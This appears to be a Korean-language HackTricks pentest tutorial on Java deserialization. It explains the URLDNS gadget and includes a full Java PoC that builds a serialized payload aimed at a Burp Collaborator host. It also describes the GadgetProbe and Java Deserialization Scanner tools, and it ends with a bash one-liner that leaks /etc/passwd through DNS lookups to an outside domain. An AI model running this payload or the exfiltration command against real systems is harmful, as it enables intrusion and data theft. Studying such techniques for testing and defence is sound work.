# Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner {{#include ../../banners/hacktricks-training.md}} ## DNS 요청 및 역직렬화 클래스 `java.net.URL`는 `Serializable`을 구현합니다. 이는 이 클래스가 직렬화될 수 있음을 의미합니다. ```java public final class URL implements java.io.Serializable { ``` 이 클래스는 **호기심 많은 동작**을 가지고 있습니다. 문서에서: “**두 호스트는 두 호스트 이름이 동일한 IP 주소로 확인될 수 있는 경우 동등한 것으로 간주됩니다**.”\ 따라서, URL 객체가 **`equals`** 또는 **`hashCode`**의 **어떤** 함수를 호출할 때마다 **IP 주소**를 얻기 위한 **DNS 요청**이 **전송**됩니다. **URL** 객체에서 **`hashCode`** 함수를 **호출하는** 것은 상당히 쉽습니다. 이 객체를 **역직렬화**될 `HashMap`에 삽입하기만 하면 됩니다. 이는 `HashMap`의 **`readObject`** 함수의 **끝**에서 이 코드가 실행되기 때문입니다: ```java private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { [ ... ] for (int i = 0; i < mappings; i++) { [ ... ] putVal(hash(key), key, value, false, false); } ``` 모든 값에 대해 `HashMap` 내부의 `putVal`을 **실행**할 **것입니다**. 그러나 더 중요한 것은 모든 값에 대해 `hash`를 호출하는 것입니다. 이것은 `hash` 함수의 코드입니다: ```java static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } ``` 관찰할 수 있듯이, **역직렬화할 때** **`HashMap`**의 함수 `hash`는 **모든 객체에 대해 실행됩니다** 그리고 **`hash`** 실행 중에 **객체의 `.hashCode()`가 실행됩니다**. 따라서 **URL** 객체를 포함하는 **`HashMap`**을 **역직렬화**하면, **URL 객체**는 **`.hashCode()`를 실행합니다**. 이제 `URLObject.hashCode()`의 코드를 살펴보겠습니다: ```java public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; ``` 보시다시피, `URLObject`가 `.hashCode()`를 실행할 때 `hashCode(this)`가 호출됩니다. 이 함수의 코드를 계속해서 볼 수 있습니다: ```java protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); [ ... ] ``` `getHostAddress`가 도메인에 대해 실행되어 **DNS 쿼리**가 **시작**되는 것을 볼 수 있습니다. 따라서 이 클래스는 **역직렬화**가 가능하다는 것을 **증명**하기 위해 **DNS 쿼리**를 **시작**하거나, 심지어 **정보를 유출**하기 위해 **악용**될 수 있습니다(명령 실행의 출력을 서브도메인으로 추가할 수 있습니다). ### URLDNS 페이로드 코드 예제 [여기에서 ysoserial의 URDNS 페이로드 코드를 찾을 수 있습니다](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). 그러나 코딩을 이해하기 쉽게 하기 위해 ysoserial의 것을 기반으로 나만의 PoC를 만들었습니다: ```java import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.InetAddress; import java.net.URLConnection; import java.net.URLStreamHandler; import java.util.HashMap; import java.net.URL; public class URLDNS { public static void GeneratePayload(Object instance, String file) throws Exception { //Serialize the constructed payload and write it to the file File f = new File(file); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest(String file) throws Exception { //Read the written payload and deserialize it ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); Object obj = in.readObject(); System.out.println(obj); in.close(); } public static void main(final String[] args) throws Exception { String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net"; HashMap ht = new HashMap(); // HashMap that will contain the URL URLStreamHandler handler = new SilentURLStreamHandler(); URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. // During the put above, the URL's hashCode is calculated and cached. // This resets that so the next time hashCode is called a DNS lookup will be triggered. final Field field = u.getClass().getDeclaredField("hashCode"); field.setAccessible(true); field.set(u, -1); //Test the payloads GeneratePayload(ht, "C:\\Users\\Public\\payload.serial"); } } class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } ``` ### 추가 정보 - [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) - 원래 아이디어에서 commons collections 페이로드는 DNS 쿼리를 수행하도록 변경되었으며, 이는 제안된 방법보다 신뢰성이 떨어졌지만, 이 게시물이 있습니다: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) ## GadgetProbe [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe)를 Burp Suite App Store (Extender)에서 다운로드할 수 있습니다. **GadgetProbe**는 서버의 Java 클래스에 일부 **Java 클래스가 존재하는지** 확인하여 **취약한지** 알 수 있도록 합니다. ### 작동 방식 **GadgetProbe**는 이전 섹션의 **DNS 페이로드**를 사용하지만 **DNS 쿼리를 실행하기 전에** **임의의 클래스를 역직렬화**하려고 시도합니다. **임의의 클래스가 존재하면**, **DNS 쿼리**가 **전송**되고 GadgetProbe는 이 클래스가 존재함을 기록합니다. **DNS** 요청이 **결코 전송되지 않으면**, 이는 **임의의 클래스가 성공적으로 역직렬화되지 않았음을** 의미하므로, 클래스가 존재하지 않거나 **직렬화할 수 없거나/악용할 수 없음을** 나타냅니다. GitHub 내에서, [**GadgetProbe에는 테스트할 Java 클래스가 포함된 단어 목록이 있습니다**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists). ![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>) ### 추가 정보 - [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe) ## Java 역직렬화 스캐너 이 스캐너는 Burp App Store (**Extender**)에서 **다운로드**할 수 있습니다.\ **확장**은 **수동** 및 **능동** **기능**을 가지고 있습니다. ### 수동 기본적으로 모든 요청과 응답을 **수동으로 확인**하여 **Java 직렬화 마법 바이트**를 찾고, 발견된 경우 취약성 경고를 표시합니다: ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>) ### 능동 **수동 테스트** 요청을 선택하고 마우스 오른쪽 버튼을 클릭한 후 `Send request to DS - Manual Testing`을 선택할 수 있습니다.\ 그런 다음, _Deserialization Scanner Tab_ --> _Manual testing tab_에서 **삽입 지점**을 선택하고 **테스트를 시작**합니다 (사용된 인코딩에 따라 적절한 공격을 선택). ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png) 이것이 "수동 테스트"라고 불리지만, 상당히 **자동화되어** 있습니다. **역직렬화**가 **어떤 ysoserial 페이로드**에 **취약한지** 자동으로 확인하고, 웹 서버에 존재하는 라이브러리를 검사하여 취약한 라이브러리를 강조 표시합니다. **취약한 라이브러리**를 **확인**하기 위해 **Javas Sleeps**, **CPU** 소비를 통한 **슬립**, 또는 이전에 언급된 **DNS**를 사용할 수 있습니다. **악용** 취약한 라이브러리를 식별한 후, 요청을 _Exploiting Tab_으로 보낼 수 있습니다.\ 이 탭에서 **주입 지점**을 다시 **선택**하고, 페이로드를 생성할 **취약한 라이브러리**와 **명령어**를 **작성**해야 합니다. 그런 다음, 적절한 **공격** 버튼을 누릅니다. ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png) ### Java 역직렬화 DNS 유출 정보 페이로드가 다음과 같은 작업을 수행하도록 만드세요: ```bash (i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done) ``` ### 추가 정보 - [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/) {{#include ../../banners/hacktricks-training.md}}